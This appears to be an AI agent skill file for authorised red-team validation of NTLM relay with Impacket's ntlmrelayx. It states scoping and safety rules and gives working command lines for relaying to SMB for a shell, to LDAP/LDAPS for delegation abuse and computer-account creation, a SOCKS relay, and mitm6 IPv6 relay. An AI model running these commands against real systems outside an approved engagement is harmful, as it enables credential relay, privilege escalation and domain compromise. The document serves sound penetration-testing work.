timsonner Impacket Ntlmrelayx
Purpose
Use this skill only when the rules of engagement explicitly permit NTLM relay-path validation against named approved targets.
Phase Fit
- Primary: Validation and Controlled Impact Demonstration
- Secondary: Detection and Response Assessment, Retest and Closure
Use When
- Need to validate whether a specific captured authentication flow can be relayed.
- Need to assess whether protocol hardening gaps create practical risk.
- Need to measure whether defenders detect the relay attempt.
Avoid When
- Relay-style validation is not explicitly approved.
- Target lists or protocol boundaries are unclear.
Inputs
- Approved relay targets
- Explicitly approved capture or source path
- Defender coordination if detection review is in scope
Procedure
- Confirm written approval and exact target boundaries.
- Limit relay targets to the named approved set.
- Use only the minimum technique needed to prove the path.
- Stop once the hypothesis is confirmed or disproved.
- Protect all captured or relayed material as sensitive evidence.
Command Syntax
Replace sample targets and interfaces with approved in-scope values.
# Relay to SMB for interactive shell
ntlmrelayx.py -tf targets.txt -smb2support
# Relay to LDAPS for resource-based constrained delegation
ntlmrelayx.py -t ldaps://dc01.contoso.com -smb2support --delegate-access
# Relay to LDAP to add a computer account
ntlmrelayx.py -t ldap://dc01.contoso.com --add-computer
# Multi-target relay with SOCKS proxy
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Combined with mitm6 for IPv6 relay to LDAP
ntlmrelayx.py -6 -t ldaps://dc01.contoso.com --delegate-access
# Suppress HTTP server (SMB-only capture)
ntlmrelayx.py -tf targets.txt -smb2support --no-http-server
Evidence to Capture
- Whether the approved relay path succeeded
- Exact targets, protocol path, and approval boundary used
- Detection or alerting observations if defenders are in scope
Safety Boundaries
- Use only with explicit written approval.
- Keep the target list minimal and protect all related evidence as sensitive.